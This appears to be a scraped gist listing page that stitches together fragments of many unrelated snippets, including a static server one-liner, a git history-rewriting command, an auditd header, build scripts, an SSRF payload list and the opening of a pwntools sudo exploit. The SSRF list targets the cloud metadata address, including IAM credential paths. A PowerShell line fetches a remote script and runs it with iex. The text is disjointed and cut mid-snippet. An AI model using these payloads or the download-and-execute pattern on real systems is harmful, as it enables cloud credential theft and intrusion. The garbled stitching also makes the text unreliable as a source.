Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000| # Remove every file except "./somefile.txt" and the directory "./somedir". | |
| # --prune-empty to remove empty commits. | |
| git filter-branch --tree-filter "find . -not -path './.git' -not -path './.git/*' -not -path './somefile.txt' -not -path './somedir/*' -not -path './somedir' -delete" --prune-empty |
| ## IPv6 Tests | |
| http://[::ffff:169.254.169.254] | |
| http://[0:0:0:0:0:ffff:169.254.169.254] | |
| ## AWS | |
| # Amazon Web Services (No Header Required) | |
| # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
| http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy | |
| http://169.254.169.254/latest/user-data | |
| http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] |
| pattern,cnt | |
| ^,1657 | |
| -$,376 | |
| --,355 | |
| root.*/file.*\n,348 | |
| (?m)^hello world,338 | |
| \s+,296 | |
| \s*,278 | |
| ^[a-z],275 | |
| [cg]pu,245 |
| # IMPORTANT! | |
| # This gist has been transformed into a github repo | |
| # You can find the most recent version there: | |
| # https://github.com/Neo23x0/auditd | |
| # ___ ___ __ __ | |
| # / | __ ______/ (_) /_____/ / | |
| # / /| |/ / / / __ / / __/ __ / | |
| # / ___ / /_/ / /_/ / / /_/ /_/ / | |
| # /_/ |_\__,_/\__,_/_/\__/\__,_/ |
| #!/usr/bin/python | |
| import os | |
| import subprocess | |
| import time | |
| import yaml | |
| import re | |
| user_name = os.environ.get("DOCKERHUB_USER") |
| Set-ExecutionPolicy Unrestricted; | |
| iex ((New-Object System.Net.WebClient).DownloadString('http://boxstarter.org/bootstrapper.ps1')); | |
| get-boxstarter -Force; | |
| Install-BoxstarterPackage -PackageName 'https://gist.githubusercontent.com/OALabs/afb619ce8778302c324373378abbaef5/raw/4006323180791f464ec0a8a838c7b681f42d238c/oalabs_x86vm.ps1'; |
| #!/usr/bin/env bash | |
| ###### Module specific parameters starts ###### | |
| MODULE_PATH='hardware/interfaces/automotive/vehicle/2.0/default/' | |
| MODULE_INSTALL_PATH='data/nativetest64/vehicle-tests' | |
| INSTRUMENTED_BINARY_NAME='vehicle-tests' | |
| REMOTE_COVERAGE_OUTPUT_DIR='/data/local/tmp/nativetest64/' | |
| SOONG_INTERMEDIATES="out/soong/.intermediates" | |
| GCNO_DIR="$SOONG_INTERMEDIATES/$MODULE_PATH" |
| #!/usr/bin/python | |
| import os | |
| import pty | |
| from pwn import process, sleep, write, read, listen, p64 | |
| """ | |
| From https://github.com/sudo-project/sudo/blob/SUDO_1_8_30/src/tgetpass.c#L401: | |
| } else if (c == sudo_term_kill) { |